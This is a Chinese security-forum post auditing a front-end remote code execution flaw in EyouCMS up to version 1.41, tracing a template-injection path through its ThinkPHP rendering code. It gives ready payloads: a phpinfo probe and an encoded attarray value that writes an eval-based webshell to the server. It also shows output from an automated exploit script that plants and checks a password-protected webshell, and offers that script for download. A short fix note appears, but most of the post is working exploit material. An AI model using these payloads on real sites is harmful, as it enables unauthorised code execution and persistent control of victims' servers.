用户
搜索

[思路/技术] Eyoucms前台RCE审计

  • TA的每日心情

    7 天前
  • 签到天数: 57 天

    连续签到: 1 天

    [LV.5]常住居民I

    超级版主

    培训/授权项目Q547006660

    Rank: 8Rank: 8

    52

    主题

    187

    帖子

    6160

    魔法币
    收听
    0
    粉丝
    52
    注册时间
    2017-1-18

    秦春秋文阁春秋游侠核心白帽i春秋签约作者幽默灌水王积极活跃奖白帽高手白帽传说

    J0o1ey 超级版主 培训/授权项目Q547006660 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手 楼主
    发表于 5 天前 10924

    0x01 审计起因

    8xGpDg.png
    由于在先知查看文章的时候无意看到了EyouCMS漏洞复现文章,于是产生了审计之心

    0x02 EyouCMS简介

    EyouCms是基于TP5.0框架为核心开发的免费+开源的企业内容管理系统,专注企业建站用户需求。提供海量各行业模板,降低中小企业网站建设、网络营销成本,致力于打造用户舒适的建站体验。这是一套安全、简洁、免费的流行CMS,包含完整后台管理、前台展示,直接下载安装即可使用。 演示网址:http://demo.eyoucms.com 官方网站:http://www.eyoucms.com

    0x03 代码分析

    进入/application/api/controller/Ajax.php中的function get_tag_memberlist方法

    public function get_tag_memberlist()
    {
        if (IS_AJAX_POST) {
            $htmlcode = input('post.htmlcode/s');
            $htmlcode = htmlspecialchars_decode($htmlcode);
    
            $attarray = input('post.attarray/s');
            $attarray = htmlspecialchars_decode($attarray);
            $attarray = json_decode(base64_decode($attarray));
    
            /*拼接完整的memberlist标签语法*/
            $innertext = "{eyou:memberlist";
            foreach ($attarray as $key => $val) {
                if (in_array($key, ['js'])) {
                    continue;
                }
                $innertext .= " {$key}='{$val}'";
            }
            $innertext .= " js='on'}";
            $innertext .= $htmlcode;
            $innertext .= "{/eyou:memberlist}";
            /*--end*/
            $msg = $this->display($innertext); // 渲染模板标签语法
            $data['msg'] = $msg;
            $this->success('读取成功!', null, $data);
        }
        $this->error('加载失败!');
    }
    

    3 Line: 判断是否AJAX请求
    4 Line: 从post获取用户输入参数htmlcode的值并将结果赋值给$htmlcode
    5 Line: 将$htmlcode中的实体字符转换为正常字符
    7 Line: 从post获取用户输入参数attarray的值并将结果赋值给$attarray
    8 Line: 将$attarray中的实体字符转换为正常字符
    9 Line: 将$attarray进行base64解码再json解码
    12 Line: 定义标签
    13~18 Line: 使用foreach将$attay以键值对的方式遍历出来,判断每一个元素是否为js如果是那么直接进入下一次循环,否则“{$key}=’{$val}’”连接到标签后面
    19 Line: 闭合第一个标签
    20 Line: 将$htmlcode拼接到标签后,作为内容使用
    21 Line: 将闭合标签拼接到$innertext中
    23 Line: 调用基类中的display方法并将$innertext传入

    跟踪到/core/library/think/Controll.php文件中的display方法

    protected function display($content = '', $vars = [], $replace = [], $config = [])
    {
        return $this->view->display($content, $vars, $replace, $config);
    }

    3 Line: 调用视图类中的display方法,并将$content、$vars、$replace、$config传入

    跟踪到/core/library/think/View.php文件中的display方法

    public function display($content, $vars = [], $replace = [], $config = [])
    {
        return $this->fetch($content, $vars, $replace, $config, true);
    }

    3 Line: 调用当前类中的fetch方法并将并将$content、$vars、$replace、$config传入

    跟踪到/core/library/think/View.php文件中的fetch方法

    public function fetch($template = '', $vars = [], $replace = [], $config = [], $renderContent = false)
    {
        // 模板变量
        $vars = array_merge(self::$var, $this->data, $vars);
    
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        // 渲染输出
        try {
            $method = $renderContent ? 'display' : 'fetch';
            // 允许用户自定义模板的字符串替换
            // $replace = array_merge($this->replace, $replace, (array) $this->engine->config('tpl_replace_string'));
            $replace = array_merge($this->replace, (array) $this->engine->config('tpl_replace_string'), $replace); // 解决一个页面上调用多个钩子的冲突问题 by 小虎哥
            /*插件模板字符串替换,不能放在构造函数,毕竟构造函数只执行一次 by 小虎哥*/
            // if ($this->__isset('weappInfo')) {
            //     $weappInfo = $this->__get('weappInfo');
            //     if (!empty($weappInfo['code'])) {
            //         $replace['__WEAPP_TEMPLATE__'] = ROOT_DIR.'/'.WEAPP_DIR_NAME.'/'.$weappInfo['code'].'/template';
            //     }
            // }
            /*--end*/
            $this->engine->config('tpl_replace_string', $replace);
            $this->engine->$method($template, $vars, $config);
        } catch (\Exception $e) {
            ob_end_clean();
            throw $e;
        }
    
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter', $content);
    
        // $this->checkcopyr($content);
    
        return $content;
    }
    

    4 Line: 将当前类中的成员属性$var、$data以及传入的$vars合并为一个数组并赋给$vars
    7~8 Line: 开启页面缓存
    11 Line: 使用三元运算符判断外部传入的$renderContent是否为真,若为真那么将display赋值给$method,否则将fetch赋值给$method
    24 Line: 调用Think类中的$method方法并将$template、$vars、$config传入

    跟踪到/core/library/think/view/driver/Think.php中的display方法

    public function display($template, $data = [], $config = [])
    {
        $this->template->display($template, $data, $config);
    }

    3 Line: 调用模板类中的display方法并将$template、$data、$config传入

    跟踪到/core/library/think/Template.php中的display方法

    public function display($content, $vars = [], $config = [])
    {
        if ($vars) {
            $this->data = $vars;
        }
        if ($config) {
            $this->config($config);
        }
        $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($content) . '.' . ltrim($this->config['cache_suffix'], '.');
        if (!$this->checkCache($cacheFile)) {
            // 缓存无效 模板编译
            $this->compiler($content, $cacheFile);
        }
        // 读取编译存储
        $this->storage->read($cacheFile, $this->data);
    }

    3~5 Line: 判断外部传入的$vars是否有值,若有那么则将$vars赋值给当前类中的成员属性data中
    6~8 Line: 判断$config是否有值,若有那么将$config传入当前类中的config方法
    9 Line: 生成缓存文件名称赋值给$cacheFile
    10~13 Line: 判断是否没有$cacheFile这个缓存文件,为真则调用当前类中的compiler方法并且将$content及$cacheFile传入其中

    跟踪到/core/library/think/Template.php中的compiler方法

    private function compiler(&$content, $cacheFile)
    {
        // 判断是否启用布局
        if ($this->config['layout_on']) {
            if (false !== strpos($content, '{__NOLAYOUT__}')) {
                // 可以单独定义不使用布局
                $content = str_replace('{__NOLAYOUT__}', '', $content);
            } else {
                // 读取布局模板
                $layoutFile = $this->parseTemplateFile($this->config['layout_name']);
                if (is_array($layoutFile)) { // 引入模板的错误友好提示 by 小虎哥
                    $content = !empty($layoutFile['msg']) ? $layoutFile['msg'] : $content;
                } else if ($layoutFile) {
                    // 替换布局的主体内容
                    $content = str_replace($this->config['layout_item'], $content, file_get_contents($layoutFile));
                }
            }
        } else {
            $content = str_replace('{__NOLAYOUT__}', '', $content);
        }
    
        // 模板解析
        $this->parse($content);
        if ($this->config['strip_space']) {
            /* 去除html空格与换行 */
            $find    = ['~>\s+<~', '~>(\s+\n|\r)~'];
            $replace = ['><', '>'];
            $content = preg_replace($find, $replace, $content);
        }
        // 优化生成的php代码
        $content = preg_replace('/\?>\s*<\?php\s(?!echo\b)/s', '', $content);
        // 模板过滤输出
        $replace = $this->config['tpl_replace_string'];
        $content = str_replace(array_keys($replace), array_values($replace), $content);
        // 添加安全代码及模板引用记录
        $content = '<?php if (!defined(\'THINK_PATH\')) exit(); /*' . serialize($this->includeFile) . '*/ ?>' . "\n" . $content;
        // 编译存储
        $this->storage->write($cacheFile, $content);
        $this->includeFile = [];
        return;
    }
    

    23 Line: 将外部传入的$content传到当前类中的parse(解析模板)方法中

    跟踪到/core/library/think/Template.php中的parse方法

    public function parse(&$content)
    {
        // 内容为空不解析
        if (empty($content)) {
            return;
        }
        // 替换eyou:literal标签内容
        $this->parseEyouLiteral($content);
        // 替换literal标签内容
        $this->parseLiteral($content);
        // 解析继承
        $this->parseExtend($content);
        // 解析布局
        $this->parseLayout($content);
        // 检查eyou:include语法  by 小虎哥
        $this->parseEyouInclude($content);
        // 检查include语法
        $this->parseInclude($content);
        // 替换包含文件中literal标签内容
        $this->parseLiteral($content);
        // 替换包含文件中eyou:literal标签内容
        $this->parseEyouLiteral($content);
        // 检查PHP语法
        $this->parsePhp($content);
    
        // 获取需要引入的标签库列表
        // 标签库只需要定义一次,允许引入多个一次
        // 一般放在文件的最前面
        // 格式:<taglib name="html,mytag..." />
        // 当TAGLIB_LOAD配置为true时才会进行检测
        if ($this->config['taglib_load']) {
            $tagLibs = $this->getIncludeTagLib($content);
            if (!empty($tagLibs)) {
                // 对导入的TagLib进行解析
                foreach ($tagLibs as $tagLibName) {
                    $this->parseTagLib($tagLibName, $content);
                }
            }
        }
        // 预先加载的标签库 无需在每个模板中使用taglib标签加载 但必须使用标签库XML前缀
        if ($this->config['taglib_pre_load']) {
            $tagLibs = explode(',', $this->config['taglib_pre_load']);
            foreach ($tagLibs as $tag) {
                $this->parseTagLib($tag, $content);
            }
        }
        // 内置标签库 无需使用taglib标签导入就可以使用 并且不需使用标签库XML前缀
        $tagLibs = explode(',', $this->config['taglib_build_in']);
        foreach ($tagLibs as $tag) {
            $this->parseTagLib($tag, $content, true);
        }
        // 解析普通模板标签 {$tagName}
        $this->parseTag($content);
    
        // 还原被替换的eyou:Literal标签
        $this->parseEyouLiteral($content, true);
    
        // 还原被替换的Literal标签
        $this->parseLiteral($content, true);
        return;
    }
    

    24 Line: 调用当前类中的parsePhp(解析php标签)方法并将$content传入

    跟踪到/core/library/think/Template.php中的parsePhp方法

    private function parsePhp(&$content)
    {
        // 短标签的情况要将<?标签用echo方式输出 否则无法正常输出xml标识
        $content = preg_replace('/(<\?(?!php|=|$))/i', '<?php echo \'\\1\'; ?>' . "\n", $content);
    
        // 过滤eval函数,防止被注入执行任意代码 by 小虎哥
        $view_replace_str = config('view_replace_str');
        if (isset($view_replace_str['__EVAL__'])) {
            if (stristr($content, '{eyou:php}')) { // 针对{eyou:php}标签语法处理
                preg_match_all('/{eyou\:php}.*{\/eyou\:php}/iUs', $content, $matchs);
                $matchs = !empty($matchs[0]) ? $matchs[0] : [];
                if (!empty($matchs)) {
                    foreach($matchs as $key => $val){
                        $valNew = preg_replace('/{(\/)?eyou\:php}/i', '', $val);
                        $valNew = preg_replace("/([\W]+)eval(\s*)\(/i", 'intval(', $valNew);
                        $valNew = preg_replace("/^eval(\s*)\(/i", 'intval(', $valNew);
                        $valNew = "{eyou:php}{$valNew}{/eyou:php}";
                        $content = str_ireplace($val, $valNew, $content);
                    }
                }
            } else if (stristr($content, '{php}')) { // 针对{php}标签语法处理
                preg_match_all('/{php}.*{\/php}/iUs', $content, $matchs);
                $matchs = !empty($matchs[0]) ? $matchs[0] : [];
                if (!empty($matchs)) {
                    foreach($matchs as $key => $val){
                        $valNew = preg_replace('/{(\/)?php}/i', '', $val);
                        $valNew = preg_replace("/([\W]+)eval(\s*)\(/i", 'intval(', $valNew);
                        $valNew = preg_replace("/^eval(\s*)\(/i", 'intval(', $valNew);
                        $valNew = "{php}{$valNew}{/php}";
                        $content = str_ireplace($val, $valNew, $content);
                    }
                }
            } else if (false !== strpos($content, '<?php')) { // 针对原生php语法处理
                $content = preg_replace("/(@)?eval(\s*)\(/i", 'intval(', $content);
                $this->config['tpl_deny_php'] && $content = preg_replace("/\?\bphp\b/i", "?muma", $content);
            }
        }
        // end
    
        // PHP语法检查
        if ($this->config['tpl_deny_php'] && false !== strpos($content, '<?php')) {
            if (config('app_debug')) { // 调试模式下中断模板渲染 by 小虎哥
                throw new Exception('not allow php tag', 11600);
            } else { // 运营模式下继续模板渲染 by 小虎哥
                echo(lang('not allow php tag'));
            }
        }
        return;
    }
    

    4 Line: 将模板中php短标签转换为<?php echo ‘1’?>
    21 Line: 判断传入的$content中是否包含了{php}
    22 Line: 使用正则表达式匹配出$content中所有包含了“{php}任意内容{/php}”的标签
    23 Line: 使用三目运算符判断匹配出来的数组中的第0个元素是否有值,如果有值那么将第0个元素的值赋给$matchs否则将空数组赋给$matchs
    24 Line: 判断$matchs不为空
    25 Line: 将$matchs使用foreach循环遍历
    26 Line: 将$val中的“{/任意空白字符php}”替换为空并赋给$valnew
    27 Line: 将$valnew中的“多个或零个0-9A-Za-Z_eval(”替换为“intval(”
    28 Line: 将$valnew中的“开始为eval任意空白字符(”替换为“intval(”
    29 Line: 将字符串“{php}{$valNew}{/php}”赋给$valnew
    30 Line: 将$content中的$val替换为$valNew

    0x04 漏洞探测

    Payload:attarray=eyJ7cGhwfXBocGluZm8oKTt7XC9waHB9Ijoie3BocH1waHBpbmZvKCk7e1wvcGhwfSJ9&html={php}phpinfo();{/php}

    8xGqLF.png

    0x05 漏洞复现

    Payload生成方式:

    base64_encode(jsonstring)

    eval会被替换成intval,所以我们采用base64加密写入webshell的方式
    php代码如下:

    file_put_contents("./wait.php",base64_decode("PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg=="));

    PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==内容:

    <?php eval($_REQUEST[“w”]);?>

    将php标签转换为json格式并加密:

    print base64_encode(json_encode(array("{php}file_put_contents('./wait.php',base64_decode(\"PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==\"));{/php}"=>"{php}file_put_contents('./wait.php',base64_decode(\"PD9waHAgYXNzZXJ0KCRfUkVRVUVTVFsidyJdKTs/Pg==\"));{/php}")));
    
    eyJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuXC93YWl0LnBocCcsYmFzZTY0X2RlY29kZShcIlBEOXdhSEFnWVhOelpYSjBLQ1JmVWtWUlZVVlRWRnNpZHlKZEtUc1wvUGc9PVwiKSk7e1wvcGhwfSI6IntwaHB9ZmlsZV9wdXRfY29udGVudHMoJy5cL3dhaXQucGhwJyxiYXNlNjRfZGVjb2RlKFwiUEQ5d2FIQWdZWE56WlhKMEtDUmZVa1ZSVlVWVFZGc2lkeUpkS1RzXC9QZz09XCIpKTt7XC9waHB9In0=

    pyload:

    attarray=eyJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuXC93YWl0LnBocCcsYmFzZTY0X2RlY29kZShcIlBEOXdhSEFnWVhOelpYSjBLQ1JmVWtWUlZVVlRWRnNpZHlKZEtUc1wvUGc9PVwiKSk7e1wvcGhwfSI6IntwaHB9ZmlsZV9wdXRfY29udGVudHMoJy5cL3dhaXQucGhwJyxiYXNlNjRfZGVjb2RlKFwiUEQ5d2FIQWdZWE56WlhKMEtDUmZVa1ZSVlVWVFZGc2lkeUpkS1RzXC9QZz09XCIpKTt7XC9waHB9In0=&htmlcode=bb

    8xJJFs.png

    htmlcode参数作为随机方式传递

    0x06 漏洞修复

    可以使用assign方法来将标签直接替换成我们需要的值,而不是将标签传入display方法中将标签直接编译,危险性大大提升

    0x07 自动化测试脚本

    效果如图,回复即可下载

    silly@PenetrationOs:~#: python eyoucms-ssti.py -u http://192.168.1.106:8085/ -o abc
    
    [+] 正在请求目标地址:http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist
    [*] 目标地址http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist存活
    [+] 正在向目标地址http://192.168.1.106:8085/?m=api&c=ajax&a=get_tag_memberlist写入abc.php
    [*] 疑似成功写入Webshell
    [+] 正在探测Webshell(http://192.168.1.106:8085/abc.php)是否存活
    [*] Webshell(http://192.168.1.106:8085/abc.php)已存活
    [*] 密码:ceshi
    [*]

    漏洞修复时间线

    漏洞影响范围

    EyouCMS<=1.41


    游客,如果您要查看本帖隐藏内容请回复

    评分

    参与人数 1魔法币 +5 收起 理由
    魔帝 + 5 感谢发布原创作品,i春秋论坛因你更精彩!.

    查看全部评分

    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660|交流群820783253|团队首页www.gcowsec.com|
    谢谢分享666666666666666666666666666666666666666666辛苦
    使用道具 举报 回复
    w tm 666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
    使用道具 举报 回复
    xiexiefenxiang
    使用道具 举报 回复
    老哥稳!
    使用道具 举报 回复
    大佬牛逼!!!
    使用道具 举报 回复
    tql,wsl....
    使用道具 举报 回复
    EyouCMS<=1.41

    使用道具 举报 回复
    看一看啦
    使用道具 举报 回复
    6666666666666666666666666666666666666666666666666
    使用道具 举报 回复
    谢谢分享  
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册